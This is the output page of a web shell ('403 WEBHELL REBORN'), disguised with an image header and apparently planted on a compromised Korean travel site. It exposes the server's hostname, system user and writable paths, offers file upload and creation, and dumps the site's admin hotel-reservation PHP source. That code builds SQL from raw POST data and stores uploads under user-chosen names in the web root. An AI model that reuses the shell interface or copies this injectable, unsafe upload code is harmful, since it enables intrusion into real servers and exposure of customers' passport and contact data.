ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/res_hotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/res_hotel/hotelResProc.html
<?php 
include "../include/top_proc.html";

$table = "TB_RES_HOTEL";

$HotelReserv = new HotelReserv();
$AccountCustomer = new AccountCustomer();

//2019-10-18 환율 및 포인트 
$class_CommonTour = new CommonTour();

/*if(devCookie()){
    p($_FILES);
    p($_POST);
    exit;
}*/

// 예약저장
if($SqlType=="hote_res_ins" or $SqlType=="hotel_res_updt" or $SqlType=="hotel_res_addon") {
	$rdata = $_POST;
	
	Log::save(sprintf("%s(%d)HotelResProc RDATA : %s ", __FILE__, __LINE__, json_encode($rdata)), '', '/'.date('Ym'));

	// 예약변경일때 기존정보를 삭제하고 새로 저장
	if($SqlType=="hotel_res_updt") {
		// 블록 환원
		$data_res = $HotelReserv->res_hotel_master(" and res_no='{$rdata[res_no]}' ");
		$row_res = $HotelReserv->res_hotel_master_replace($data_res[0]);
		for($i=0 ; $i<count($row_res['hdidx_all']) ; $i++) {
			$hdidx = $row_res['hdidx_all'][$i];
			if($hdidx) {
				db_query("call SP_RES_HOTEL_BLOCK('{$hdidx}','-{$row_res[room_cnt]}');");;
			}
		}
		
		// 예약정보 삭제
		db_query("delete from {$table} where res_no='{$rdata['res_no']}' ");
		
		// 항목정보 삭제
		db_query("delete from {$table}_ITEM where res_no='{$rdata['res_no']}' ");
		
		// 옵션정보 삭제
		db_query("delete from {$table}_OPTION where res_no='{$rdata['res_no']}' ");
		
		// 숙박자정보 삭제
		db_query("delete from {$table}_PERSON where res_no='{$rdata['res_no']}' ");

		// 등록일 유지 (20201109)
		$rdata['ins_dt'] = $row_res['ins_dt'];
		$rdata['ins_route'] = $row_res['ins_route'];

		// 취소일 유지 (20210209)
		$rdata['cancel_dt'] = $row_res['cancel_dt'];
	}

	if($SqlType != "hotel_res_updt") {
		$rdata['ins_route'] = 'A'; // 예약경로:A관리자,A1상담관리,B사용자,C사용자모바일
		if($rdata['cseq']) $rdata['ins_route'] = 'A1'; // 예약경로:A관리자,A1상담관리,B사용자,C사용자모바일

		//예약확정
		$rdata['res_stat_cd'] = "C";
		$rdata['order_state'] = "E";
	}
	
	// 중복예약 체크
	$sql = "select count(*) as res_cnt from {$table} where res_no='{$rdata[res_no]}' ";
	$data = db_fetch($sql);
	//if($data['res_cnt'] > 0) error_msg("이미 처리된 건입니다.","");	

	//외국어,환율
	$rdata['lang'] = $lang;
	$rdata['curunit'] = $curunit;

	//2019-10-18 외화의 경우 sales_toal 의 USD 
	$sales_total=intval(str_replace(",","",$rdata[sales_total]));
	$rdata['sales_total_usd'] = $class_CommonTour -> exchangeMoney_Reverse(array("ext_eng"=>"USD","money"=>$sales_total));

	//2019-11-26 실무용 바우처번호 생성 
	$rdata['rsv_no'] = auto_create_voucher("L");


	// 공급처
	if ($producer_id) {
		$mem_data = get_member($producer_id);
		$rdata['producer_corp_nm'] = $mem_data['bz_corp_nm'];
	}
	
	// 담당자
	if($admin_id) $row_admin = get_member($admin_id);
	$rdata['admin_nm']=$row_admin['mb_nm'];
	
	// 대리점
	if ($agent_id) {
		$mem_data = get_member($agent_id);
		$rdata['bz_corp_nm'] = $mem_data['bz_corp_nm'];
	}	

	// 호텔예약 및 입실정보 저장
	$r = $HotelReserv->hotelRoomDateIns($rdata);
	
	// 예약번호
	$res_no = $rdata['res_no'];



    //파일 첨부
    $attach_file = "";

    $isAttachFile = false;
    if($_FILES['attach_file']){

        //파일 업로드
        $image          = $_FILES['attach_file'];
        $fileName = $_FILES['attach_file']['name'];

        if(!is_dir($_SERVER['DOCUMENT_ROOT'].'/FileData/hotel/res/'.$res_no.'/')) {
            mkdir($_SERVER['DOCUMENT_ROOT'].'/FileData/hotel/res/'.$res_no.'/');
        }

        if(move_uploaded_file($image['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/FileData/hotel/res/'.$res_no.'/'.$fileName)){
            $attach_file = $res_no.'/'.$fileName;
            $isAttachFile = true;
        }
    }

    if($isAttachFile){
        $sql = "UPDATE TB_RES_HOTEL SET attach_file = '{$attach_file}' WHERE res_no = '{$res_no}'";
        db_query($sql);
    }


    $isAttachFile2 = false;
    if($_FILES['attach_file2']){

        //파일 업로드
        $image          = $_FILES['attach_file2'];
        $fileName = $_FILES['attach_file2']['name'];

        if(!is_dir($_SERVER['DOCUMENT_ROOT'].'/FileData/hotel/res/'.$res_no.'/')) {
            mkdir($_SERVER['DOCUMENT_ROOT'].'/FileData/hotel/res/'.$res_no.'/');
        }

        if(move_uploaded_file($image['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/FileData/hotel/res/'.$res_no.'/'.$fileName)){
            $attach_file2 = $res_no.'/'.$fileName;
            $isAttachFile2 = true;
        }
    }

    if($isAttachFile2){
        $sql = "UPDATE TB_RES_HOTEL SET attach_file2 = '{$attach_file2}' WHERE res_no = '{$res_no}'";
        db_query($sql);
    }








	
	// 정산 정보 업데이트
	$AccountCustomer->account_customer_check($res_no);

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");
	

	// 예약정보
	$data = $HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
	$row = $HotelReserv->res_hotel_master_replace($data[0]);
	
	// 예약정보 문자 발송(2017-04-14.허종)
	$data_sms_macro = to_macro_list(array('type'=>'S','resp'=>'RES','res_cd'=>'A','disp_yn'=>'Y'));
	$auto_sms_send = $data_sms_macro[0]['auto_send'];
	$sms_cont = $data_sms_macro[0]['cont']; // sms 상용구 내용
	
	if($SqlType=="reserv_ins" and $auto_sms_send=="Y" and $row['res_cust_hp']) {
		$sms_cont = str_replace("{회사명}",$TK_CF['shop_name'],$sms_cont);
		$sms_cont = str_replace("{고객명}",$row['res_cust_nm'],$sms_cont);
		$sms_cont = str_replace("{예약번호}",$row['res_no'],$sms_cont);
		$sms_cont = str_replace("{행사명}",$row['hnm']." ".$row['rnm'],$sms_cont);
		$sms_cont = str_replace("{행사일}",$row['room_date'],$sms_cont);
		$sms_cont = str_replace("{여행인원}",$row['inwon'],$sms_cont);
		$sms_cont = str_replace("{고객연락처}",$row['res_cust_tel'],$sms_cont);
		$sms_cont = str_replace("{진행전달}",$row['order_state_str'],$sms_cont);
	
		$sms_cont = str_replace("{룸수}",$row['room_cnt'],$sms_cont);
		$sms_cont = str_replace("{박수}",$row['room_day'],$sms_cont);
	
		$msg_val = $sms_cont;
		$recvtel = $TK_CF['shop_tel'];//번호표시
		$sendtel = $row['res_cust_hp'];//받을 번호
	
		// 문자발송
		$res = send_new_send("S",$recvtel,$sendtel,$msg_val);
	
		// 문자발송 히스토리 저장
		$rdata = array('res_no'=>$res_no,'type'=>'S','cust_nm'=>$res_cust_nm,'recv_tel'=>$res_cust_hp,'send_tel'=>$TK_CF[shop_tel],'message'=>$msg_val);
		$res = to_send_history_ins($rdata);
	}
	
	error_msg("document.location.href='hotelResView.html?res_no={$res_no}';","script");
}

// 예약수정
else if($SqlType=="hotel_res_updt"){

	$rdata = $_POST;

	$order_state = $_POST['order_state'];
	
	if(!$rdata['res_no'] or !$res_no) exit;

	// 기존 예약정보
	$data_old = $HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
	$row_old = $data_old[0];
	
	$mode="fullchange"; // 전체 예약정보 수정
	if($rdata['hseq'] or $rdata['ridx']) $mode="halfchange"; // 베드타입/성인숙박인원/소인숙박인원/비고/항목/합계













	/*
	 * 공통 업데이트
	 */

	$price_tot=0; // 룸가격
	$over_tot=0; // 초과금
	$person_max_price=0;// 기준인원 초과금	

	$price_tot_fr=0; // 룸가격
	$over_tot_fr=0; // 초과금
	$person_max_price_fr=0;// 기준인원 초과금	

	// 룸일자(R),초과인원(U),추가항목(A) 저장
	//2019-10-17 조식 추가(B)
	db_query("delete from {$table}_ITEM where res_no='{$rdata[res_no]}'");
	foreach($rdata['gu_arr'] as $i => $gu) {
			
		// old 작업과 연동 하기위해 가격 빼냄
		if($gu=="R") {
			$price_tot+=intval(str_replace(",","",$rdata['sell_price_tot_arr'][$i]));
			$price_tot_fr+=intval($rdata['sell_price_tot_arr_fr'][$i]);
		}
		if($gu=="U") {
			$over_tot+=intval(str_replace(",","",$rdata['sell_price_tot_arr'][$i]));
			$over_tot_fr+=intval($rdata['sell_price_tot_arr_fr'][$i]);
			
			// 시간상 한개만 빼옴
			$person_max_price=intval(str_replace(",","",$rdata['sell_price_arr'][$i]));
			$person_max_price_fr=intval($rdata['sell_price_arr_fr'][$i]);

			$room_over_num=intval($rdata['i_count_arr'][$i]);
		}
		$item_nm = $rdata['itemnm_arr'][$i];
		$room_date = $rdata['room_date_arr'][$i];
		$buy_price=intval(str_replace(",","",$rdata['buy_price_arr'][$i]));
		$agent_price=intval(str_replace(",","",$rdata['agent_price_arr'][$i]));
		$sell_price=intval(str_replace(",","",$rdata['sell_price_arr'][$i]));
		$sell_price_fr=intval($rdata['sell_price_arr_fr'][$i]);

		$count=intval($rdata['i_count_arr'][$i]);
		$comt=$rdata['comt_arr'][$i];

		
		$sql = "insert into {$table}_ITEM set ";
		$sql .= " gu='{$gu}' ";
		$sql .= " ,res_no='{$rdata[res_no]}' ";
		$sql .= " ,hseq='{$rdata[hseq]}' ";
		$sql .= " ,hnm='{$rdata[hnm]}' ";
		$sql .= " ,ridx='{$rdata[ridx]}' ";
		$sql .= " ,rnm='{$rdata[rnm]}' ";
		$sql .= " ,item_nm='{$item_nm}' ";
		$sql .= " ,room_date='{$room_date}' "; /// 룸일자(이용일자)
		$sql .= " ,buy_price='{$buy_price}' ";
		$sql .= " ,agent_price='{$agent_price}' ";
		$sql .= " ,sell_price='{$sell_price}' ";
		$sql .= " ,sell_price_fr='{$sell_price_fr}' ";
		$sql .= " ,i_count='{$count}' ";
		$sql .= " ,comt='{$comt}' ";
		$sql .= " ,lang='{$rdata[lang]}' ";
		$sql .= " ,curunit='{$rdata[curunit]}' ";
		$sql .= " ,ins_dt=now() ";
			
		db_query($sql);

		p($sql);
	}
	
	$option_tot=0; // 옵션가격
	$option_tot_fr=0; // 옵션가격

	if(is_array($rdata['op_sell_price_tot_arr'])){foreach($rdata['op_sell_price_tot_arr'] as $price){
		$option_tot+=intval(str_replace(",","",$price));
	}}	
	if(is_array($rdata['op_sell_price_tot_arr_fr'])){foreach($rdata['op_sell_price_tot_arr_fr'] as $price_fr){
		$option_tot_fr+=intval(str_replace(",","",$price_fr));
	}}	
	
	// 옵션상품 저장
	db_query("delete from {$table}_OPTION where res_no='{$rdata[res_no]}'");
	for ($i=0 ; $i<count($rdata['opid_arr']) ; $i++) {
		$opid=$rdata['opid_arr'][$i];
		$op_nm=$rdata['op_nm_arr'][$i];
		$op_buy_price=intval(str_replace(",","",$rdata['op_buy_price_arr'][$i]));
		$op_agent_price=intval(str_replace(",","",$rdata['op_agent_price_arr'][$i]));
		$op_sell_price=intval(str_replace(",","",$rdata['op_sell_price_arr'][$i]));
		$op_sell_price_fr=intval($rdata['op_sell_price_arr_fr'][$i]);

		$op_num=$rdata['op_num_arr'][$i];
	
		$sql = "insert into {$table}_OPTION set ";
		$sql .= "res_no						= '{$rdata[res_no]}', ";
		$sql .= "opid						= '{$opid}', ";
		$sql .= "hseq						= '{$rdata[hseq]}', ";
		$sql .= "op_nm						= '{$op_nm}', ";
		$sql .= "op_num					= '{$op_num}', ";
		$sql .= "op_price_sell			= '{$op_sell_price}', ";
		$sql .= "op_price_sell_fr			= '{$op_sell_price_fr}', ";
		$sql .= "op_price_buy			= '{$op_buy_price}', ";
		$sql .= "op_price_agent			= '{$op_agent_price}', ";
		$sql .= "lang					= '{$rdata[lang]}', ";
		$sql .= "curunit					= '{$rdata[curunit]}', ";
		$sql .= "ins_dt						= now() ";
	
		db_query($sql);

	}
	
	// 숙박자 저장
	db_query("delete from {$table}_PERSON where res_no='{$rdata[res_no]}'");
	if(is_array($rdata['generation_arr'])){
		foreach($rdata['generation_arr'] as $i => $generation){
			$gend=$rdata['gend_arr'][$i];
			$name_kor=$rdata['name_kor_arr'][$i];
			$name_eng1=$rdata['name_eng1_arr'][$i];
			$name_eng2=$rdata['name_eng2_arr'][$i];
			$name_eng=$name_eng1."|".$name_eng2;
			$tel=$rdata['tel_arr'][$i];
			$birth_dt=$rdata['birth_dt_arr'][$i];
			$passenger_num=$rdata['passenger_num_arr'][$i];
			$passenger_expire=$rdata['passenger_expire_arr'][$i];
			$remarks=$rdata['remarks_arr'][$i];
	
			$sql = "insert into {$table}_PERSON set ";
			$sql .= " res_no='{$rdata[res_no]}' ";
			$sql .= ",hseq='{$rdata[hseq]}'";
			$sql .= ",hnm='{$row_hotel[hotel_nm]}'";
			$sql .= ",ridx='{$rdata[ridx]}'";
			$sql .= ",rnm='{$row_date[room_type]}'";
			$sql .= ",room_date='{$rdata[room_date]}'";
			$sql .= ",room_date_out='{$rdata[room_date_out]}'";
			$sql .= ",generation='{$generation}'";
			$sql .= ",gend='{$gend}'";
			$sql .= ",name_kor='{$name_kor}'";
			$sql .= ",name_eng='{$name_eng}'";
			$sql .= ",tel='{$tel}'";
			$sql .= ",birth='{$birth_dt}'";
			$sql .= ",passenger_num='{$passenger_num}'";
			$sql .= ",passenger_expire='{$passenger_expire}'";
			$sql .= ",remarks='{$remarks}'";
			$sql .= ",ins_dt=now()";
	
			db_query($sql);

		}
	}	
	
	/*
	 * 전체 업데이트 OR 부분 업데이트
	 */
	// 파라메터
	$sales_total=intval(str_replace(",","",$rdata[sales_total]));
	$sales_total_old=$rdata[sales_total_old];

	$buy_discount=intval(str_replace(",","",$rdata[discount_buy]));
	$agent_discount=intval(str_replace(",","",$rdata[discount_agent]));
	$sell_discount=intval(str_replace(",","",$rdata[discount_sell]));

	$buy_total=intval(str_replace(",","",$rdata[buy_total]));
	$agent_total=intval(str_replace(",","",$rdata[agent_total]));
	$person_num=intval($rdata[person_num]);
	$person_maxnum=intval($rdata[person_maxnum]);
	$child_maxnum =intval($rdata[child_maxnum]);
	
	$sales_total_fr=intval($rdata[sales_total_fr]);
	$sell_discount_fr=intval($rdata[discount_sell_fr]);
	
	//2019-10-18 외화의 경우 sales_toal 의 USD 
	$rdata['sales_total_usd'] = $class_CommonTour -> exchangeMoney_Reverse(array("ext_eng"=>"USD","money"=>$sales_total));



	// 공급처
	if ($producer_id) {
		$mem_data = get_member($producer_id);
		$producer_corp_nm = $mem_data['bz_corp_nm'];
	}

	
	// 담당자
	if($admin_id) $row_admin = get_member($admin_id);
	$admin_nm=$row_admin['mb_nm'];
	
	//부분 예약정보 수정
	if($mode=="halfchange"){
		$sql = "update {$table} set ";
		$sql .= " rsv_no					= '{$rdata[rsv_no]}',";
		//$sql .= " res_no					= '{$rdata[res_no]}',";
		//$sql .= " cseq						= '{$rdata[cseq]}',";
		//$sql .= " hseq						= '{$rdata[hseq]}',";
		//$sql .= " hnm						= '{$rdata[hnm]}',";
		//$sql .= " ridx						= '{$rdata[ridx]}',";
		//$sql .= " rnm						= '{$rdata[rnm]}',";
		//$sql .= " hdidx						= '{$rdata[hdidx]}',";
		//$sql .= " room_date				= '{$rdata[room_date]}',";
		//$sql .= " room_date_out		= '{$rdata[room_date_out]}',";
		$sql .= " room_cnt				= '{$rdata[room_cnt]}',";
		//$sql .= " room_day				= '{$rdata[room_day]}',";
		$sql .= " room_adult_num		= '{$rdata[room_adult_num]}',";
		$sql .= " room_child_num		= '{$rdata[room_child_num]}',";
		//$sql .= " room_over_num		= '{$room_over_num}',";
		$sql .= " room_bedtype			= '{$rdata[room_bedtype]}',";
		$sql .= " price_tot				= '{$price_tot}',"; // 룸가격=판매가*박수*룸수
		$sql .= " option_tot				= '{$option_tot}',";
		$sql .= " over_tot					= '{$over_tot}',";

		$sql .= " price_tot_fr				= '{$price_tot_fr}',"; // 룸가격=판매가*박수*룸수
		$sql .= " option_tot_fr				= '{$option_tot_fr}',";
		$sql .= " over_tot_fr					= '{$over_tot_fr}',";

		//$sql .= " sales_total_cost		= '{$rdata[sales_total_cost]}',"; // 판매원가(2016-03-22)

		$sql .= " buy_discount			= '{$buy_discount}',"; // 매입할인(신규)
		$sql .= " agent_discount			= '{$agent_discount}',"; // 거래처할인(신규)
		$sql .= " sell_discount			= '{$sell_discount}',"; // 매출할인(신규)
		$sql .= " sell_discount_fr			= '{$sell_discount_fr}',"; // 매출할인(신규)

		$sql .= " discount_cmt			= '{$rdata[discount_cmt]}',"; // 매입판매할인비고(신규)

		$sql .= " buy_total				= '{$buy_total}',"; // 매입가 총계
		$sql .= " agent_total				= '{$agent_total}',"; // 거래처가 총계
		$sql .= " sales_total				= '{$sales_total}',"; // 판매가 총계
		$sql .= " sales_total_fr				= '{$sales_total_fr}',"; // 판매금액 총계
		if( ($sales_total!=$sales_total_old) && $rdata['curunit'] != "KRW" ) :
		$sql .= "total_pay_usd='{$rdata['sales_total_usd']}', "; // 판매가 합계 외화
		endif;
		
		//$sql .= " person_num			= '{$person_num}',"; // 성인기준인원(신규)
		//$sql .= " person_maxnum			= '{$person_maxnum}',"; // 성인 최대인원(신규)
		//$sql .= " child_maxnum			= '{$child_maxnum}',"; // 소인 최대인원(신규)
		
		//$sql .= " agent_ga				= '{$row_date[d_agent_ga]}',";
		//$sql .= " agent_id					= '{$rdata[agent_id]}',";
		//$sql .= " agent_corp_nm		= '{$row_member[bz_corp_nm]}',";

		$sql .= " producer_id					= '{$producer_id}',";
		$sql .= " producer_corp_nm		= '{$producer_corp_nm}',";
		$sql .= " res_cust_id				= '{$rdata[mb_id]}',";
		$sql .= " res_cust_nm			= '{$rdata[res_cust_nm]}',";
		$sql .= " res_cust_email			= '{$rdata[res_cust_email]}',";
		$sql .= " res_cust_addr			= '{$rdata[res_cust_addr]}',";
		$sql .= " res_cust_tel			= '{$rdata[res_cust_tel]}',";
		$sql .= " res_cust_hp			= '{$rdata[res_cust_hp]}',";
		$sql .= " res_cust_nat_cd			= '{$rdata[res_cust_nat_cd]}',";
		//$sql .= " res_cust_memo		= '{$rdata[res_cust_memo]}',";
		$sql .= " cont		= '{$rdata[cont]}',";
		//$sql .= " admin_memo='{$rdata[admin_memo]}',";
		//$sql .= " send_memo='{$rdata[send_memo]}',";
		//$sql .= " hdidx_ga					= '{$hdidx_ga}',";
		$sql .= " admin_id					= '{$rdata[admin_id]}',";
		$sql .= " admin_nm				= '{$row_admin[mb_nm]}',";
		$sql .= " edit_dt=now(),";
		$sql .= " edit_id='{$TK_MEMBER[mb_id]}',";
		$sql .= " edit_nm='{$TK_MEMBER[mb_nm]}',";
		//$sql .= " res_stat_cd				= '{$row_date[res_stat_cd]}',";
		$sql .= " order_state			= '{$order_state}',";
		//$sql .= " ins_dt					= now(),";
		//$sql .= " ins_id						= '{$this->TO_MB[mb_id]}',";
		//$sql .= " ins_nm					= '{$this->TO_MB[mb_nm]}',";
		//$sql .= " ins_ip						= '{$this->cf['user_ip']}',";
		//$sql .= " ins_route				= '{$rdata[ins_route]}',";
		
		//$sql .= " point_yn					= '{$row_room[point_yn]}',";
		//$sql .= " point_buy1				= '{$row_room[point_buy1]}',";
		//$sql .= " point_buy2				= '{$row_room[point_buy2]}' ";
		$sql .= " send_memo				= '{$send_memo}' ";
		$sql .= " where res_no='{$rdata[res_no]}' ";
		
		db_query($sql);	
	}
	
	// 전체 예약정보 수정
	elseif($mode=="fullchange") {
		// 예약마스터 저장
		$sql = "update {$table} set ";
		$sql .= " rsv_no					= '{$rdata[rsv_no]}',";
		//$sql .= " res_no					= '{$rdata[res_no]}',";
		//$sql .= " cseq						= '{$rdata[cseq]}',";
		//$sql .= " hseq						= '{$rdata[hseq]}',";
		$sql .= " hnm						= '{$rdata[hnm]}',";
		//$sql .= " ridx						= '{$rdata[ridx]}',";
		$sql .= " rnm						= '{$rdata[rnm]}',";
		//$sql .= " hdidx						= '{$rdata[hdidx]}',";
		$sql .= " room_date				= '{$rdata[room_date]}',";
		$sql .= " room_date_out		= '{$rdata[room_date_out]}',";
		$sql .= " room_cnt				= '{$rdata[room_cnt]}',";
		$sql .= " room_day				= '{$rdata[room_day]}',";
		$sql .= " room_adult_num		= '{$rdata[room_adult_num]}',";
		$sql .= " room_child_num		= '{$rdata[room_child_num]}',";
		$sql .= " room_over_num		= '{$room_over_num}',";
		$sql .= " room_bedtype			= '{$rdata[room_bedtype]}',";
		$sql .= " price_tot				= '{$price_tot}',"; // 룸가격=판매가*박수*룸수
		$sql .= " option_tot				= '{$option_tot}',";
		$sql .= " over_tot					= '{$over_tot}',";
		$sql .= " sales_total				= '{$sales_total}',"; // 판매금액 총계

		$sql .= " price_tot_fr				= '{$price_tot_fr}',"; // 룸가격=판매가*박수*룸수
		$sql .= " option_tot_fr				= '{$option_tot_fr}',";
		$sql .= " over_tot_fr					= '{$over_tot_fr}',";

		$sql .= " buy_discount			= '{$buy_discount}',"; // 매입할인(신규)
		$sql .= " agent_discount			= '{$agent_discount}',"; // 거래처할인(신규)
		$sql .= " sell_discount			= '{$sell_discount}',"; // 매출할인(신규)
		$sql .= " sell_discount_fr			= '{$sell_discount_fr}',"; // 매출할인(신규)

		$sql .= " discount_cmt			= '{$rdata[discount_cmt]}',"; // 매입판매할인비고(신규)
		$sql .= " buy_total				= '{$buy_total}',"; // 매입금액 총계
		$sql .= " agent_total				= '{$agent_total}',"; // 매입금액 총계
		$sql .= " sales_total_fr				= '{$sales_total_fr}',"; // 판매금액 총계
		//$sql .= " sales_total_cost		= '{$rdata[sales_total_cost]}',"; // 판매원가(2016-03-22)
		if( ($sales_total!=$sales_total_old) && $rdata['curunit'] != "KRW" ) :
		$sql .= "total_pay_usd='{$rdata['sales_total_usd']}', "; // 판매가 합계 외화
		endif;
		
		$sql .= " person_num			= '{$person_num}',"; // 성인기준인원(신규)
		$sql .= " person_maxnum			= '{$person_maxnum}',"; // 성인 최대인원(신규)
		$sql .= " child_maxnum			= '{$child_maxnum}',"; // 소인 최대인원(신규)
		
		//$sql .= " agent_ga				= '{$row_date[d_agent_ga]}',";
		//$sql .= " agent_id					= '{$rdata[agent_id]}',";
		//$sql .= " agent_corp_nm		= '{$row_member[bz_corp_nm]}',";

		$sql .= " producer_id					= '{$producer_id}',";
		$sql .= " producer_corp_nm		= '{$producer_corp_nm}',";

		$sql .= " res_cust_id				= '{$rdata[mb_id]}',";
		$sql .= " res_cust_nm			= '{$rdata[res_cust_nm]}',";
		$sql .= " res_cust_email			= '{$rdata[res_cust_email]}',";
		$sql .= " res_cust_addr			= '{$rdata[res_cust_addr]}',";
		$sql .= " res_cust_tel			= '{$rdata[res_cust_tel]}',";
		$sql .= " res_cust_hp			= '{$rdata[res_cust_hp]}',";
		$sql .= " res_cust_nat_cd			= '{$rdata[res_cust_nat_cd]}',";
		//$sql .= " res_cust_memo		= '{$rdata[res_cust_memo]}',";
		$sql .= " cont		= '{$rdata[cont]}',";
		//$sql .= " admin_memo='{$rdata[admin_memo]}',";
		//$sql .= " send_memo='{$rdata[send_memo]}',";
		//$sql .= " hdidx_ga					= '{$hdidx_ga}',";
		$sql .= " admin_id					= '{$rdata[admin_id]}',";
		$sql .= " admin_nm				= '{$row_admin[mb_nm]}',";
		$sql .= " edit_dt=now(),";
		$sql .= " edit_id='{$TK_MEMBER[mb_id]}',";
		$sql .= " edit_nm='{$TK_MEMBER[mb_nm]}',";
		//$sql .= " res_stat_cd				= '{$row_date[res_stat_cd]}',";
		$sql .= " order_state			= '{$order_state}',";
		//$sql .= " ins_dt					= now(),";
		//$sql .= " ins_id						= '{$this->TO_MB[mb_id]}',";
		//$sql .= " ins_nm					= '{$this->TO_MB[mb_nm]}',";
		//$sql .= " ins_ip						= '{$this->cf['user_ip']}',";
		//$sql .= " ins_route				= '{$rdata[ins_route]}',";
		
		//$sql .= " point_yn					= '{$row_room[point_yn]}',";
		//$sql .= " point_buy1				= '{$row_room[point_buy1]}',";
		//$sql .= " point_buy2				= '{$row_room[point_buy2]}' ";
		$sql .= " send_memo				= '{$send_memo}' ";
		$sql .= " where res_no='{$rdata[res_no]}' ";
		
		db_query($sql);

	}

	// 정산 정보 업데이트
	$AccountCustomer->account_customer_check($rdata[res_no]);

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($rdata[res_no]) db_query("call SP_RES_HOTEL_SEARCH('".$rdata[res_no]."');");



	// 업데이트 예약정보
	$data_new = $HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
	$row_new =$HotelReserv->res_hotel_master_replace($data_new[0]);


	// 예약정보 문자 발송(2017-04-14.허종)
	$data_sms_macro = to_macro_list(array('type'=>'S','resp'=>'RES','res_cd'=>$row_new['order_state'],'disp_yn'=>'Y'));
	$auto_sms_send = $data_sms_macro[0]['auto_send'];
	$sms_cont = $data_sms_macro[0]['cont']; // sms 상용구 내용
	
	if($row_old['order_state']<$row_new['order_state'] and $auto_sms_send=="Y" and $row_new['res_cust_hp']) {
	
		$sms_cont = str_replace("{회사명}",$TK_CF['shop_name'],$sms_cont);
		$sms_cont = str_replace("{고객명}",$row_new['res_cust_nm'],$sms_cont);
		$sms_cont = str_replace("{예약번호}",$row['res_no'],$sms_cont);
		$sms_cont = str_replace("{행사명}",$row_new['hnm']." ".$row_new['rnm'],$sms_cont);
		$sms_cont = str_replace("{행사일}",$row_new['room_date'],$sms_cont);
		$sms_cont = str_replace("{여행인원}",$row_new['inwon'],$sms_cont);
		$sms_cont = str_replace("{고객연락처}",$row_new['res_cust_tel'],$sms_cont);
		$sms_cont = str_replace("{진행전달}",$row_new['order_state_str'],$sms_cont);
	
		$sms_cont = str_replace("{룸수}",$row_new['room_cnt'],$sms_cont);
		$sms_cont = str_replace("{박수}",$row_new['room_day'],$sms_cont);
	
		$msg_val = $sms_cont;
		$recvtel = $TK_CF['shop_tel'];//번호표시
		$sendtel = $row_new['res_cust_hp'];//받을 번호
	
		// 문자발송
		$res = send_new_send("S",$recvtel,$sendtel,$msg_val);
	
		// 문자발송 히스토리 저장
		$rdata = array('res_no'=>$res_no,'type'=>'S','cust_nm'=>$res_cust_nm,'recv_tel'=>$res_cust_hp,'send_tel'=>$TK_CF[shop_tel],'message'=>$msg_val);
		$res = to_send_history_ins($rdata);
	}


	
	error_msg("document.location.reload();","script");
}


// 룸예약 취소
elseif($SqlType=="res_roomdate_delete"){
	if( !$res_no ) exit;

	// 예약정보
	$data = $HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
	$row = $HotelReserv->res_hotel_master_replace($data[0]);

	// 예약 취소
	$sql = "update {$table} set order_state='F', res_stat_cd='D',cancel_dt=now()  ";
	$sql .= " where res_no='{$res_no}' ";
	db_query($sql);

	// 블록차감
	for($i=0 ; $i<count($row['hdidx_all']) ; $i++) {
		$hdidx = $row['hdidx_all'][$i];
		if($hdidx) {
			db_query("call SP_RES_HOTEL_BLOCK('{$hdidx}','-{$row[room_cnt]}');");;
		}
	}

	// 입출금  - 숙박비자동정산정보 계산
	$AccountCustomer->account_customer_check($res_no);

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");

	error_msg("document.location.reload();","script");
}


// 룸예약 확정처리
else if($SqlType=="res_roomdate_fix"){
	if( !$res_no ) exit;

	$sql = "update {$table} set res_stat_cd='C' ";
	$sql .= " where res_no='{$res_no}' ";

	db_query($sql);

	//  예약검색 정보 업데이트(2017-02-04.허종)
	if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');");

	error_msg("document.location.reload();","script");
}

// 예약정보 삭제(정산,입출금)
elseif($SqlType=="delete_reserv"){
	if(!$res_no) exit;

	// 예약정보
	$data = $HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
	$row = $data[0];

	// 삭제가능한 예약인지 체크
	if($row['res_stat_cd']!='D') error_msg();

	// 예약정보 마스터
	$sql = "delete from TB_RES_HOTEL where res_no='{$res_no}'";
	db_query($sql);
	
	// 항목정보 삭제
	db_query("delete from {$table}_ITEM where res_no='{$res_no}' ");
	
	// 옵션정보 삭제
	db_query("delete from {$table}_OPTION where res_no='{$res_no}' ");
	
	// 숙박자정보 삭제
	db_query("delete from {$table}_PERSON where res_no='{$res_no}' ");	

	// 고객입출금 정보
	$sql = "delete from TB_ACCOUNT_CUSTOMER where res_no='{$res_no}'";
	db_query($sql);

	// 호텔정산 정보
	$sql = "delete from TB_ACCOUNT_HOTEL where res_no='{$res_no}'";
	db_query($sql);

	error_msg("document.location.reload();","script");
}

// 진행전달 상태 변경
else if($SqlType == "chg_order_state"){
	if(!is_array($res_no_arr) or !$order_state) exit;

	foreach($res_no_arr as $res_no) {
		$sql ="update TB_RES_HOTEL set order_state='{$order_state}' where res_no='{$res_no}' ";
		db_query($sql);
	}

	error_msg("document.location.reload();","script");
}

?>

Anon7 - 2021